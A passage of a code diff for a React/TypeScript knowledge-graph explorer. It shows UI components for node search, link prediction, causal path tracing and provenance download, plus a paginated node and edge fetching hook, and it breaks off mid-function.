<input value={predictionType} onChange={(event) => onPredictionTypeChange(event.target.value)} placeholder="Optional candidate type filter, e.g. disease" style={inputStyle} />
|
||||
</section>
|
||||
|
||||
<section style={sectionStyle}>
|
||||
<div style={sectionTitleStyle}>Trace Path</div>
|
||||
<input value={pathTargetId} onChange={(event) => onPathTargetChange(event.target.value)} placeholder="Target node ID" style={inputStyle} />
|
||||
<button style={actionButtonStyle} onClick={onTracePath}>Trace Causal Path</button>
|
||||
{pathResult?.path?.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 6, marginTop: 10 }}>
|
||||
{pathResult.path.map((step, index) => (
|
||||
<div key={`${step}-${index}`} style={pathStepStyle}>{index + 1}. {step}</div>
|
||||
))}
|
||||
<div style={{ color: "#79c0ff", fontSize: 12, marginTop: 4 }}>total weight: {pathResult.total_weight.toFixed(3)}</div>
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Choose a target or click a candidate prediction to prepare a path trace.</div>
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details style={collapseStyle} open={predictions.length > 0}>
|
||||
<summary style={summaryStyle}>Candidate Links</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{predictions.length > 0 ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{predictions.map((prediction) => (
|
||||
<button key={`${prediction.target}-${prediction.type}`} style={predictionCardStyle} onClick={() => onPathTargetChange(prediction.target)}>
|
||||
<div style={{ color: "#fff", fontWeight: 600 }}>{prediction.label || prediction.target}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{prediction.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>confidence {prediction.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>Run link prediction to surface likely next-hop relationships.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Source Attribution</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{attribution.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{attribution.map(({ key, value }) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No explicit attribution metadata was found on this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
|
||||
<details style={collapseStyle}>
|
||||
<summary style={summaryStyle}>Properties</summary>
|
||||
<div style={{ padding: "0 14px 14px" }}>
|
||||
{propertyEntries.length ? (
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{propertyEntries.map(([key, value]) => (
|
||||
<div key={key} style={propertyCardStyle}>
|
||||
<div style={{ color: "rgba(88, 166, 255, 0.7)", fontSize: 11, marginBottom: 4 }}>{key}</div>
|
||||
<div style={{ color: "#e6edf3", fontSize: 13, wordBreak: "break-word" }}>{typeof value === "object" ? JSON.stringify(value) : String(value)}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div style={emptyTextStyle}>No additional properties are attached to this node.</div>
|
||||
)}
|
||||
</div>
|
||||
</details>
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
|
||||
export function GraphWorkspaceShell() {
|
||||
const [selectedNodeId, setSelectedNodeId] = useState("");
|
||||
const [selectedNodeState, setSelectedNodeState] = useState<GraphSelectedNodeState | null>(null);
|
||||
const [isLayoutRunning, setIsLayoutRunning] = useState(false);
|
||||
const [viewMode, setViewMode] = useState<GraphViewMode>("full");
|
||||
const [searchQuery, setSearchQuery] = useState("");
|
||||
const [searchResults, setSearchResults] = useState<SearchResult[]>([]);
|
||||
const [searchError, setSearchError] = useState("");
|
||||
const [predictionType, setPredictionType] = useState("");
|
||||
const [predictions, setPredictions] = useState<LinkPrediction[]>([]);
|
||||
const [pathTargetId, setPathTargetId] = useState("");
|
||||
const [pathResult, setPathResult] = useState<PathResponse | null>(null);
|
||||
const [activeNodeCount, setActiveNodeCount] = useState<number | null>(null);
|
||||
const [temporalBounds, setTemporalBounds] = useState<TemporalBounds | null>(null);
|
||||
const [scrubberTime, setScrubberTime] = useState<Date | null>(null);
|
||||
const [loadingProgress, setLoadingProgress] = useState<GraphLoadProgress | null>(null);
|
||||
const [isGraphStageReady, setIsGraphStageReady] = useState(false);
|
||||
const [layoutStatus, setLayoutStatus] = useState<GraphLayoutStatus>({
|
||||
state: "idle",
|
||||
source: "runtime",
|
||||
hasCoordinates: false,
|
||||
layoutReady: false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
|
||||
const debouncedTime = useDebounce(scrubberTime, 150);
|
||||
const stageRef = useRef<GraphStageHandle>(null);
|
||||
const reload = useReloadGraphData();
|
||||
const { data: snapshot, isLoading, isFetching, isError, error } = useGraphData({ enabled: true, onProgress: setLoadingProgress });
|
||||
|
||||
const handleSelectedNodeStateChange = useCallback((state: GraphSelectedNodeState | null) => {
|
||||
setSelectedNodeState(state);
|
||||
}, []);
|
||||
|
||||
const handleLayoutRunningChange = useCallback((running: boolean) => {
|
||||
setIsLayoutRunning(running);
|
||||
}, []);
|
||||
|
||||
const handleActiveNodeCountChange = useCallback((count: number | null) => {
|
||||
setActiveNodeCount(count);
|
||||
}, []);
|
||||
|
||||
const handleProgressChange = useCallback((progress: GraphLoadProgress | null) => {
|
||||
setLoadingProgress(progress);
|
||||
}, []);
|
||||
|
||||
const handleRuntimeReady = useCallback(() => {
|
||||
setIsGraphStageReady(true);
|
||||
}, []);
|
||||
|
||||
const handleLayoutStatusChange = useCallback((status: GraphLayoutStatus) => {
|
||||
setLayoutStatus(status);
|
||||
if (status.layoutReady) {
|
||||
setLoadingProgress(null);
|
||||
}
|
||||
}, []);
|
||||
|
||||
const [prevFetchedAt, setPrevFetchedAt] = useState(snapshot?.fetchedAt);
|
||||
if (snapshot?.fetchedAt !== prevFetchedAt) {
|
||||
setPrevFetchedAt(snapshot?.fetchedAt);
|
||||
if (snapshot) {
|
||||
setIsGraphStageReady(false);
|
||||
setActiveNodeCount(null);
|
||||
setLayoutStatus({
|
||||
state: snapshot.summary.layoutReady ? "interactive" : "idle",
|
||||
source: snapshot.summary.layoutSource ?? "runtime",
|
||||
hasCoordinates: snapshot.summary.hasCoordinates ?? false,
|
||||
layoutReady: snapshot.summary.layoutReady ?? false,
|
||||
displacement: null,
|
||||
elapsedMs: 0,
|
||||
stableSamples: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
const loadBounds = async () => {
|
||||
try {
|
||||
const response = await fetch("/api/temporal/bounds");
|
||||
if (!response.ok || cancelled) return;
|
||||
const data: TemporalBounds = await response.json();
|
||||
if (!cancelled) setTemporalBounds(data);
|
||||
} catch {
|
||||
if (!cancelled) setTemporalBounds(null);
|
||||
}
|
||||
};
|
||||
void loadBounds();
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [snapshot?.summary.nodeCount, snapshot?.summary.edgeCount]);
|
||||
|
||||
const neighborCountMap = useMemo(() => {
|
||||
const map = new Map<string, number>();
|
||||
if (!snapshot) return map;
|
||||
for (const node of snapshot.nodes) map.set(node.id, 0);
|
||||
for (const edge of snapshot.edges) {
|
||||
map.set(edge.source, (map.get(edge.source) ?? 0) + 1);
|
||||
map.set(edge.target, (map.get(edge.target) ?? 0) + 1);
|
||||
}
|
||||
return map;
|
||||
}, [snapshot]);
|
||||
|
||||
const visibleSelectedNode = useMemo(() => {
|
||||
if (!selectedNodeId) return null;
|
||||
if (selectedNodeState?.id === selectedNodeId) return selectedNodeState;
|
||||
const snapshotNode = snapshot?.nodes.find((candidate) => candidate.id === selectedNodeId);
|
||||
if (snapshotNode) return toSelectedNodeState(snapshotNode, neighborCountMap.get(snapshotNode.id) ?? 0);
|
||||
const searchNode = searchResults.find((candidate) => candidate.node.id === selectedNodeId)?.node;
|
||||
return searchNode
|
||||
? {
|
||||
id: searchNode.id,
|
||||
label: searchNode.content || searchNode.id,
|
||||
content: searchNode.content || searchNode.id,
|
||||
nodeType: searchNode.type,
|
||||
color: "#58a6ff",
|
||||
valid_from: null,
|
||||
valid_until: null,
|
||||
properties: searchNode.properties ?? {},
|
||||
neighborCount: 0,
|
||||
visibleNeighborCount: 0,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: false,
|
||||
}
|
||||
: null;
|
||||
}, [neighborCountMap, searchResults, selectedNodeId, selectedNodeState, snapshot]);
|
||||
|
||||
const focusNode = useCallback((nodeId: string) => {
|
||||
setSelectedNodeId(nodeId);
|
||||
setPathResult(null);
|
||||
|
||||
if (!nodeId) {
|
||||
setSelectedNodeState(null);
|
||||
setPredictions([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchResults([]);
|
||||
setIsLayoutRunning(false);
|
||||
}, []);
|
||||
|
||||
const handleSearch = useCallback(async () => {
|
||||
if (!searchQuery.trim()) {
|
||||
setSearchResults([]);
|
||||
return;
|
||||
}
|
||||
|
||||
setSearchError("");
|
||||
try {
|
||||
const response = await fetch("/api/graph/search", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ query: searchQuery, limit: 8 }),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Search failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setSearchResults(data.results || []);
|
||||
if (data.results?.length) {
|
||||
focusNode(data.results[0].node.id);
|
||||
}
|
||||
} catch (searchFetchError) {
|
||||
setSearchError(searchFetchError instanceof Error ? searchFetchError.message : "Search failed");
|
||||
}
|
||||
}, [focusNode, searchQuery]);
|
||||
|
||||
const handleRunPredictions = useCallback(async () => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
try {
|
||||
const response = await fetch("/api/enrich/links", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({
|
||||
node_id: selectedNodeId,
|
||||
top_n: 6,
|
||||
candidate_type: predictionType || undefined,
|
||||
min_score: 0,
|
||||
}),
|
||||
});
|
||||
if (!response.ok) {
|
||||
throw new Error(`Link prediction failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
setPredictions(data.predictions || []);
|
||||
} catch (predictionError) {
|
||||
console.error("[GraphWorkspaceShell] prediction failed", predictionError);
|
||||
setPredictions([]);
|
||||
}
|
||||
}, [predictionType, selectedNodeId]);
|
||||
|
||||
const handleTracePath = useCallback(async () => {
|
||||
if (!selectedNodeId || !pathTargetId.trim()) return;
|
||||
|
||||
try {
|
||||
const pathParams = new URLSearchParams({
|
||||
source: selectedNodeId,
|
||||
target: pathTargetId.trim(),
|
||||
algorithm: "dijkstra",
|
||||
});
|
||||
const response = await fetch(
|
||||
`/api/graph/path?${pathParams.toString()}`,
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Path lookup failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const data: PathResponse = await response.json();
|
||||
setPathResult(data);
|
||||
if (data.path?.length) {
|
||||
const lastStep = data.path[data.path.length - 1];
|
||||
stageRef.current?.focusNode(lastStep);
|
||||
}
|
||||
} catch (pathError) {
|
||||
console.error("[GraphWorkspaceShell] path trace failed", pathError);
|
||||
setPathResult(null);
|
||||
}
|
||||
}, [pathTargetId, selectedNodeId]);
|
||||
|
||||
const handleDownloadProvenance = useCallback(async (format: "json" | "markdown") => {
|
||||
if (!selectedNodeId) return;
|
||||
|
||||
const suffix = format === "markdown" ? "markdown" : "json";
|
||||
const response = await fetch(`/api/provenance/report?node_id=${encodeURIComponent(selectedNodeId)}&format=${suffix}`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`Provenance report failed with status ${response.status}`);
|
||||
}
|
||||
|
||||
const blob = await response.blob();
|
||||
const url = window.URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = `${selectedNodeId}_provenance.${format === "markdown" ? "md" : "json"}`;
|
||||
document.body.appendChild(anchor);
|
||||
anchor.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
document.body.removeChild(anchor);
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const searchSummary = useMemo(() => {
|
||||
if (!searchResults.length) return null;
|
||||
return `${searchResults.length} search result${searchResults.length === 1 ? "" : "s"}`;
|
||||
}, [searchResults.length]);
|
||||
|
||||
const focusedSummary = useMemo(() => {
|
||||
if (!visibleSelectedNode) return null;
|
||||
if (viewMode === "focused") {
|
||||
const visibleNeighbors = Math.min(visibleSelectedNode.neighborCount, 16);
|
||||
return `${visibleNeighbors + 1} nodes in focused view`;
|
||||
}
|
||||
return `${visibleSelectedNode.neighborCount} direct neighbors highlighted`;
|
||||
}, [viewMode, visibleSelectedNode]);
|
||||
|
||||
const requestViewMode = useCallback((nextViewMode: GraphViewMode) => {
|
||||
if (nextViewMode === "focused") {
|
||||
if (!selectedNodeId) {
|
||||
return;
|
||||
}
|
||||
setViewMode("focused");
|
||||
setIsLayoutRunning(false);
|
||||
return;
|
||||
}
|
||||
|
||||
setViewMode("full");
|
||||
}, [selectedNodeId]);
|
||||
|
||||
const showLoadingOverlay =
|
||||
isLoading
|
||||
|| isFetching
|
||||
|| !isGraphStageReady
|
||||
|| (layoutStatus.source === "runtime" && !layoutStatus.layoutReady && !selectedNodeId && viewMode === "full");
|
||||
|
||||
const layoutStatusLabel = useMemo(() => {
|
||||
if (layoutStatus.source === "provided" && layoutStatus.layoutReady) return "Persisted layout";
|
||||
if (layoutStatus.source === "carried" && layoutStatus.layoutReady) return "Preserved layout";
|
||||
if (layoutStatus.state === "bootstrapping") return "Bootstrapping layout";
|
||||
if (layoutStatus.state === "running") return "Stabilizing layout";
|
||||
if (layoutStatus.state === "failed") return "Layout timeout fallback";
|
||||
return null;
|
||||
}, [layoutStatus]);
|
||||
|
||||
return (
|
||||
<div className="palantir-bg" style={{ position: "relative", width: "100%", height: "100%", overflow: "hidden", display: "flex", flexDirection: "column" }}>
|
||||
<style>{HUD_CSS}</style>
|
||||
<div className="palantir-grid" />
|
||||
<div className="palantir-vignette" />
|
||||
|
||||
<div style={{ flex: 1, position: "relative", zIndex: 3, minHeight: 0 }}>
|
||||
<Suspense fallback={null}>
|
||||
<GraphRuntimeStage
|
||||
ref={stageRef}
|
||||
snapshot={snapshot}
|
||||
selectedNodeId={selectedNodeId}
|
||||
activePath={pathResult?.path ?? []}
|
||||
onNodeSelect={focusNode}
|
||||
onSelectedNodeStateChange={handleSelectedNodeStateChange}
|
||||
isLayoutRunning={isLayoutRunning}
|
||||
onLayoutRunningChange={handleLayoutRunningChange}
|
||||
viewMode={viewMode}
|
||||
temporalTime={debouncedTime}
|
||||
onActiveNodeCountChange={handleActiveNodeCountChange}
|
||||
onProgressChange={handleProgressChange}
|
||||
onLayoutStatusChange={handleLayoutStatusChange}
|
||||
onRuntimeReady={handleRuntimeReady}
|
||||
/>
|
||||
</Suspense>
|
||||
<GraphLoadingOverlay
|
||||
progress={loadingProgress}
|
||||
visible={showLoadingOverlay}
|
||||
showGraphBehind={Boolean(loadingProgress?.showGraphBehind || isGraphStageReady)}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<Suspense fallback={<TimelineFallback min={temporalBounds?.min ?? null} max={temporalBounds?.max ?? null} />}>
|
||||
<TimelinePanel
|
||||
onTimeChange={setScrubberTime}
|
||||
minDate={temporalBounds?.min ?? undefined}
|
||||
maxDate={temporalBounds?.max ?? undefined}
|
||||
/>
|
||||
</Suspense>
|
||||
|
||||
<div style={{ position: "absolute", inset: 0, pointerEvents: "none", zIndex: 10 }}>
|
||||
<div className="graph-shell-top">
|
||||
<section className="graph-status-card">
|
||||
<div className="graph-status-label">Graph Studio</div>
|
||||
<div className="graph-status-title">{visibleSelectedNode ? visibleSelectedNode.label : "Knowledge Explorer"}</div>
|
||||
<div className="graph-status-metrics">
|
||||
{showLoadingOverlay && loadingProgress ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{getGraphLoadTitle(loadingProgress.phase)}</span> : null}
|
||||
{layoutStatusLabel ? <span style={{ ...metricPillStyle, color: "#a9ddff" }}>{layoutStatusLabel}</span> : null}
|
||||
{snapshot ? <span style={metricPillStyle}>{snapshot.summary.nodeCount.toLocaleString()} nodes · {snapshot.summary.edgeCount.toLocaleString()} edges</span> : null}
|
||||
{activeNodeCount !== null ? <span style={{ ...metricPillStyle, color: "#4fd49c", borderColor: "rgba(79, 212, 156, 0.22)" }}>{activeNodeCount.toLocaleString()} active</span> : null}
|
||||
{searchSummary ? <span style={metricPillStyle}>{searchSummary}</span> : null}
|
||||
{focusedSummary ? <span style={{ ...metricPillStyle, color: "#f2b66d", borderColor: "rgba(242, 182, 109, 0.24)" }}>{focusedSummary}</span> : null}
|
||||
{isError ? <span style={{ ...metricPillStyle, color: "#ff8f85", borderColor: "rgba(255, 123, 114, 0.22)" }}>{(error as Error).message}</span> : null}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="graph-command-card">
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-toggle-cluster">
|
||||
{selectedNodeId ? (
|
||||
<>
|
||||
<button onClick={() => requestViewMode("focused")} style={{ ...actionButtonStyle, background: viewMode === "focused" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "focused" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Focused View</button>
|
||||
<button onClick={() => requestViewMode("full")} style={{ ...actionButtonStyle, background: viewMode === "full" ? "rgba(31, 111, 235, 0.38)" : actionButtonStyle.background, borderColor: viewMode === "full" ? "rgba(127, 208, 255, 0.42)" : "rgba(88, 166, 255, 0.2)" }}>Full Graph</button>
|
||||
</>
|
||||
) : (
|
||||
<span style={{ color: "#7f95b3", fontSize: 12 }}>Select a node to switch graph views</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="graph-action-cluster">
|
||||
<button onClick={() => setIsLayoutRunning((value) => !value)} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
{isLayoutRunning ? "Pause Layout" : "Run Layout"}
|
||||
</button>
|
||||
<button onClick={() => { setIsGraphStageReady(false); reload(); }} style={secondaryActionButtonStyle} disabled={isLoading || isFetching}>
|
||||
Reload
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-command-row">
|
||||
<div className="graph-search-shell">
|
||||
<input
|
||||
value={searchQuery}
|
||||
onChange={(event) => setSearchQuery(event.target.value)}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Enter") {
|
||||
void handleSearch();
|
||||
}
|
||||
}}
|
||||
placeholder="Search a node, e.g. Metformin"
|
||||
style={{ ...inputStyle, minWidth: 260 }}
|
||||
disabled={showLoadingOverlay && !selectedNodeId}
|
||||
/>
|
||||
<button onClick={() => void handleSearch()} style={actionButtonStyle} disabled={showLoadingOverlay && !selectedNodeId}>Search</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
{searchError ? <div style={{ position: "absolute", top: 144, right: 34, color: "#ff7b72", fontSize: 12, pointerEvents: "auto" }}>{searchError}</div> : null}
|
||||
{searchResults.length ? (
|
||||
<div className="graph-search-results hud-scrollbar">
|
||||
<div className="graph-search-results-label">Search Results</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} className="graph-search-result-card" onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ color: "#fff", fontWeight: 700 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>score {result.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="graph-inspector hud-scrollbar" data-open={selectedNodeId ? "true" : "false"}>
|
||||
<NodePanel
|
||||
node={visibleSelectedNode}
|
||||
predictions={predictions}
|
||||
predictionType={predictionType}
|
||||
onPredictionTypeChange={setPredictionType}
|
||||
onRunPredictions={() => void handleRunPredictions()}
|
||||
pathTargetId={pathTargetId}
|
||||
onPathTargetChange={setPathTargetId}
|
||||
onTracePath={() => void handleTracePath()}
|
||||
pathResult={pathResult}
|
||||
onDownloadProvenance={(format) => void handleDownloadProvenance(format)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const metricPillStyle: CSSProperties = {
|
||||
background: "rgba(88, 166, 255, 0.08)",
|
||||
color: "#8ed3ff",
|
||||
padding: "6px 11px",
|
||||
borderRadius: 999,
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
};
|
||||
|
||||
const sectionStyle: CSSProperties = {
|
||||
display: "flex",
|
||||
flexDirection: "column",
|
||||
gap: 10,
|
||||
padding: 14,
|
||||
background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
borderRadius: 16,
|
||||
};
|
||||
|
||||
const sectionTitleStyle: CSSProperties = {
|
||||
color: "#8fa8c6",
|
||||
fontSize: 11,
|
||||
fontWeight: 800,
|
||||
textTransform: "uppercase",
|
||||
letterSpacing: "0.08em",
|
||||
};
|
||||
|
||||
const inputStyle: CSSProperties = {
|
||||
width: "100%",
|
||||
background: "rgba(0, 0, 0, 0.24)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
color: "#fff",
|
||||
borderRadius: 12,
|
||||
padding: "10px 12px",
|
||||
fontSize: 13,
|
||||
};
|
||||
|
||||
const actionButtonStyle: CSSProperties = {
|
||||
background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))",
|
||||
color: "#fff",
|
||||
border: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
borderRadius: 12,
|
||||
padding: "10px 13px",
|
||||
cursor: "pointer",
|
||||
fontWeight: 700,
|
||||
fontSize: 12,
|
||||
display: "inline-flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)",
|
||||
};
|
||||
|
||||
const secondaryActionButtonStyle: CSSProperties = {
|
||||
...actionButtonStyle,
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
color: "#d6e5f8",
|
||||
fontWeight: 500,
|
||||
};
|
||||
|
||||
const predictionCardStyle: CSSProperties = {
|
||||
textAlign: "left",
|
||||
padding: 12,
|
||||
background: "rgba(88, 166, 255, 0.06)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.1)",
|
||||
borderRadius: 14,
|
||||
cursor: "pointer",
|
||||
};
|
||||
|
||||
const pathStepStyle: CSSProperties = {
|
||||
color: "#e6edf3",
|
||||
fontSize: 13,
|
||||
padding: "8px 10px",
|
||||
background: "rgba(255, 255, 255, 0.03)",
|
||||
borderRadius: 8,
|
||||
};
|
||||
|
||||
const propertyCardStyle: CSSProperties = {
|
||||
background: "rgba(0, 0, 0, 0.18)",
|
||||
padding: "10px 12px",
|
||||
borderRadius: 12,
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
};
|
||||
|
||||
const emptyTextStyle: CSSProperties = {
|
||||
color: "#8b949e",
|
||||
fontSize: 12,
|
||||
lineHeight: 1.5,
|
||||
};
|
||||
|
||||
const subtleChipStyle: CSSProperties = {
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
color: "#9fb6d2",
|
||||
padding: "5px 9px",
|
||||
borderRadius: 999,
|
||||
fontSize: 11,
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
};
|
||||
|
||||
const collapseStyle: CSSProperties = {
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
borderRadius: 14,
|
||||
background: "rgba(0, 0, 0, 0.14)",
|
||||
overflow: "hidden",
|
||||
};
|
||||
|
||||
const summaryStyle: CSSProperties = {
|
||||
cursor: "pointer",
|
||||
listStyle: "none",
|
||||
padding: "12px 14px",
|
||||
color: "#c6d4e3",
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
letterSpacing: "0.04em",
|
||||
textTransform: "uppercase",
|
||||
};
|
||||
@@ -1,24 +0,0 @@
|
||||
/**
|
||||
* shouldLoad predicates for the GraphWorkspace lazy plugin registry.
|
||||
*
|
||||
* Extracted into a pure module so the predicates can be unit-tested without
|
||||
* importing the full GraphWorkspace React component. Each predicate gates
|
||||
* whether a plugin's module is lazily imported; none reference temporalState
|
||||
* so temporal scrubber updates never retrigger plugin loading (issue #830).
|
||||
*/
|
||||
|
||||
export type PluginShouldLoadContext = {
|
||||
panelState: Record<string, boolean>;
|
||||
};
|
||||
|
||||
export function explorationEffectsShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["effects-panel"]);
|
||||
}
|
||||
|
||||
export function neighborhoodPanelShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["neighborhood-panel"]);
|
||||
}
|
||||
|
||||
export function temporalOverlayShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["temporal-panel"]);
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
import { useQuery, useQueryClient } from "@tanstack/react-query";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import type { ApiEdge, ApiNode, GraphDataSnapshot, GraphLoadProgress, GraphLayoutSource } from "./types";
|
||||
|
||||
interface NodeListResponse {
|
||||
nodes: ApiNode[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
interface EdgeListResponse {
|
||||
edges: ApiEdge[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
const PAGE_LIMIT = 1000;
|
||||
|
||||
async function fetchAllNodes(
|
||||
signal: AbortSignal,
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiNode[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiNode[] = [];
|
||||
let total: number | null = null;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/nodes", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: NodeListResponse = await response.json();
|
||||
if (!data.nodes?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
collected.push(...data.nodes);
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_nodes",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: collected.length,
|
||||
total,
|
||||
nodesLoaded: collected.length,
|
||||
nodesTotal: total,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: total
|
||||
? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading nodes ${collected.length.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
async function fetchAllEdges(
|
||||
signal: AbortSignal,
|
||||
nodeIds: Set<string>,
|
||||
nodeProgress: { loaded: number; total: number | null },
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiEdge[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiEdge[] = [];
|
||||
const seenEdgeIds = new Set<string>();
|
||||
let total: number | null = null;
|
||||
let warnedOverTotal = false;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/edges", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: EdgeListResponse = await response.json();
|
||||
if (!data.edges?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
const validEdges = data.edges.filter((edge) => {
|
||||
if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) {
|
||||
return false;
|
||||
}
|
||||
if (seenEdgeIds.has(edge.id)) {
|
||||
return false;
|
||||
}
|
||||
seenEdgeIds.add(edge.id);
|
||||
return true;
|
||||
});
|
||||
collected.push(...validEdges);
|
||||
